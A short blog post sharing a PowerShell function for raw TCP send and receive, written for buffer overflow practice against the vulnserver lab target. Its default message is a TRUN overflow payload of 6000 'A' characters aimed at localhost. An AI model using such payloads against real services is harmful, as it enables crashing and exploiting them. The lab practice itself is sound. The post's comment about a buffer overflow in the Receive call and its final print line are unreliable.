Send and Recieve TCP packets in PowerShell.

19 Apr 2017

I was recently trying some buffer overflow attacks against vulnserver – just sharpening my skills. I had a simple TCP send and receive winsock program writtem in C, but I wanted some more flexibility. Online – most of the available code uses Perl or Python and I didn’t want to trouble myself to download the interpreters, copy and install them on my lab VMs. So – what’s built-in ? PowerShell, yeah!

I wrote this function and it worked pretty well. Decided to share it out. Add one point to the powershell community!……..

function TcpSendRecv()
{
param(
[int] $Port = 5005,
$IP = "127.0.0.1" ,
$Message = "TRUN ." + "A"*6000 +". "
)
$Address = [system.net.IPAddress]::Parse($IP)
# Create IP Endpoint
$End = New-Object System.Net.IPEndPoint $Address, $Port
# Create Socket
$Saddrf = [System.Net.Sockets.AddressFamily]::InterNetwork
$Stype = [System.Net.Sockets.SocketType]::Stream
$Ptype = [System.Net.Sockets.ProtocolType]::Tcp #this could also be UDP
$Sock = New-Object System.Net.Sockets.Socket $saddrf, $stype, $ptype
#$Sock.TTL = 26
# Connect to socket
$Sock.Connect($end)
# Create encoded buffer
$Enc = [System.Text.Encoding]::ASCII
$Buffer = $Enc.GetBytes($Message)
# Send the buffer
$Sent = $Sock.Send($Buffer)
"{0} characters sent to: {1} " -f $Sent,$IP
"Message is: `n $Message"
#Now to receive -- we're assuming receive buffer is 400
$buffer = new-object System.Byte[] 400
$Received = $Sock.Receive($buffer) #-- oh-oh, buffer overflow exploit possible here...
"Received $Received bytes"
if($Received -ne 0)
{
$Encode = new-object "System.Text.ASCIIEncoding"
$test = $Encode.GetString($buffer)
"TCP Message received:" $test
}
# End of Script
}
view raw TCP-SendRcv.ps1 hosted with ❤ by GitHub